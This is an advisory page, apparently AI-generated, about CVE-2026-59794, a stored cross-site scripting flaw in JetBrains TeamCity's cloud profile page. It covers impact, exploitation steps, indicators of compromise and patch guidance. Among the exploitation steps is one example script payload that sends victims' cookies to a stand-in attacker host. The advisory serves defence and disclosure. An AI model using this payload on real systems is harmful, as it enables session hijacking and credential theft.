CVE-2026-59794
JetBrains TeamCity 취약성 분석 및 완화

개요

CVE-2026-59794 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2026.1.2. The flaw exists on the cloud profile page, where agent-reported data is not properly sanitized before being rendered in the browser. It was published on July 10, 2026, by JetBrains. The CVSS v3.1 base score is 5.4 (Medium) per NVD, though the GitHub Advisory Database and ENISA rate it as 7.3 (High) (GitHub Advisory, JetBrains).

기술적 세부 사항

The root cause is improper neutralization of user-controllable input before it is placed in web page output (CWE-79). A low-privileged, authenticated attacker can inject malicious JavaScript payloads into agent-reported data fields; these payloads are then persistently stored and rendered unsanitized on the TeamCity cloud profile page when viewed by other users. Exploitation requires network access, low privileges, and user interaction (a victim must visit the affected page), but no special configuration is needed beyond having a build agent capable of reporting data to the server (GitHub Advisory, JetBrains).

영향

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other TeamCity users who view the cloud profile page, potentially stealing session tokens, hijacking authenticated sessions, manipulating page content, or performing unauthorized actions on behalf of victims. The confidentiality and integrity of affected user sessions are at risk, though availability is not directly impacted. In CI/CD environments, session hijacking could enable lateral movement into build pipelines, source code repositories, or deployment infrastructure (GitHub Advisory).

착취 단계

  1. Reconnaissance: Identify a JetBrains TeamCity instance running a version prior to 2026.1.2 with cloud profiles configured and at least one connected build agent.
  2. Obtain low-privileged access: Authenticate to TeamCity with any account that has permission to interact with or register a build agent.
  3. Inject malicious payload: Manipulate agent-reported data (e.g., agent parameters, cloud instance metadata fields) to include a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Wait for victim interaction: When a TeamCity administrator or other user navigates to the cloud profile page, the stored payload executes in their browser context.
  5. Harvest session tokens or perform actions: The attacker receives stolen session cookies or CSRF tokens, enabling session hijacking or further unauthorized actions within TeamCity (GitHub Advisory).

타협의 징후

  • Network: Unexpected outbound HTTP requests from TeamCity users' browsers to external domains shortly after viewing the cloud profile page; unusual GET/POST requests to attacker-controlled infrastructure containing encoded cookie or token data.
  • Logs: TeamCity server logs showing agent-reported data fields containing HTML tags or JavaScript keywords (<script>, onerror, javascript:, etc.); browser console errors related to Content Security Policy violations on the cloud profile page.
  • File System / Application: Stored agent parameter values in the TeamCity database containing script tags or encoded payloads when inspected directly.
  • Process/Session: Unexpected administrative actions (e.g., new user creation, permission changes, pipeline modifications) performed under legitimate user accounts shortly after those users visited the cloud profile page.

완화 및 해결 방법

JetBrains has released a fix in TeamCity version 2026.1.2; upgrading to this version or later is the primary recommended remediation (JetBrains). As interim mitigations, administrators should implement strict Content Security Policy (CSP) headers to limit the impact of any XSS execution, and restrict which accounts or agents have the ability to report or modify agent data. Access to the cloud profile page should be limited to trusted administrators only until the patch is applied.

커뮤니티 반응

Several cybersecurity news outlets covered this vulnerability as part of a broader JetBrains patch release addressing multiple products including IntelliJ IDEA, TeamCity, and YouTrack (GBHackers, CyberSecurityNews, SecurityOnline). Coverage generally framed the issue as moderate severity within a batch of fixes, with no notable independent researcher commentary or significant social media discussion specific to this CVE.

추가 자료


근원이 보고서는 AI를 사용하여 생성되었습니다.

관련 JetBrains TeamCity 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

CVE-2026-63077CRITICAL9.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 27, 2026
CVE-2026-59793HIGH8.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026
CVE-2026-59796HIGH8.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026
CVE-2026-59795MEDIUM6.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026
CVE-2026-59794MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
아니요Jul 10, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자